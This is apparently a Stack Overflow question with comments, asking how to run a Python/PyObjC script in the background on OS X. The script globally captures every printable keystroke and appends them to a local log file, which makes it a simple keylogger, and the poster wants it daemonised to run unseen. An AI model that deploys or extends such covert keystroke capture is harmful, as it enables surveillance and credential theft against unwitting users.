0

Possible Duplicate:
Running Python in background on OS X

I have a nice python script that I would be able to launch in the background. I want it to be working on OS X. I have no ideas how to do that. I've found kind of a solution by launching "python myscript.py &" in the terminal, but that's not really running in the background. I've heard a lot of things about daemons, but I don't really see how to implement that in this little script, without calling non-native libraries.

Here is the script:

#!/usr/bin/python2.6

from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []

class AppDelegate(NSObject):
    def applicationDidFinishLaunching_(self, aNotification):
        NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)

def handler(event):
    global TABLE
    if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
        key =  keycode.tostring(event.keyCode())
        TABLE.append(key)
        print "lol"
        print TABLE
        if len(TABLE) > 10:
            for letter in TABLE:
                log = open("Analyzed.txt", "a")
                log.write(letter)
                log.close()
            TABLE = []

def main():
    app = NSApplication.sharedApplication()
    delegate = AppDelegate.alloc().init()
    NSApp().setDelegate_(delegate)
    AppHelper.runEventLoop()

if __name__ == '__main__':
   main()

I've tried that :

#!/usr/bin/env python

import sys, time
from daemon import Daemon
from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
import keycode
import string
import sys
global TABLE
TABLE = []

class MyDaemon(Daemon):
        def run(self):

            class AppDelegate(NSObject):
                def applicationDidFinishLaunching_(self, aNotification):
                    NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)

            def handler(event):
                global TABLE
                if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable:
                    key =  keycode.tostring(event.keyCode())
                    TABLE.append(key)
                    print "lol"
                    print TABLE
                    if len(TABLE) > 10:
                        for letter in TABLE:
                            log = open("LOG_KEY.txt", "a")
                            log.write(letter)
                            log.close()
                        TABLE = []

            app = NSApplication.sharedApplication()
            delegate = AppDelegate.alloc().init()
            NSApp().setDelegate_(delegate)
            AppHelper.runEventLoop()

if __name__ == "__main__":
        daemon = MyDaemon('/tmp/carto_daemon.pid')
        if len(sys.argv) == 2:
                if 'start' == sys.argv[1]:
                        daemon.start()
                elif 'stop' == sys.argv[1]:
                        daemon.stop()
                elif 'restart' == sys.argv[1]:
                        daemon.restart()
                else:
                        print "Unknown command"
                        sys.exit(2)
                sys.exit(0)
        else:
                print "usage: %s start|stop|restart" % sys.argv[0]
                sys.exit(2)

Where daemon come from http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/

But python seems to crash ...

Community
  • 1
  • 1
Carto_
  • 577
  • 8
  • 28
  • 2
    Using `&` _does_ run the command in the background. What different behavior do you want from that? Do you want output to not appear in the console? Do you want the script to run at login automatically? Do you want the script to continue running after you close Terminal.app? Please be specific. – Matt Ball Sep 13 '12 at 15:50
  • I've updated my question, with an exemple of a try. Python is crashing when I'm launching the daemon – Carto_ Sep 13 '12 at 15:59
  • See this question instead: http://stackoverflow.com/questions/9522324/running-python-in-background-on-os-x Or perhaps you could do a real daemonizing if you prefer: http://stackoverflow.com/questions/473620/how-do-you-create-a-daemon-in-python – Ali Afshar Sep 13 '12 at 15:54
  • What does "python seems to crash" mean? Does it actually crash with a segfault or other signal (in which case you should get a crash report), does it print stuff that looks scary to you to the terminal before quitting, or what? – abarnert Sep 13 '12 at 22:33
  • Nothing look scary in the terminal, just OSX that tells me that Python just crashed and ask me to relaunch of quit... – Carto_ Sep 14 '12 at 07:38

0 Answers0